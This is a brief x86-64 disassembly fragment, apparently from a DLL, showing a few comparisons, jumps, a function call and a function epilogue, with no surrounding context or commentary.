lea edx, [rsi - 1]
imul edx, esi
and edx, 1
sete bl
cmp ebp, 9
setg cl
xor bl, cl
mov eax, ebx
xor al, 1
and dl, cl
or dl, al
cmp bl, dl
je 0x180002cf0
jmp 0x180002c70
mov ecx, edi
mov edx, r15d
mov r8d, r14d
call fcn.180006d10
jmp 0x180002c90
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret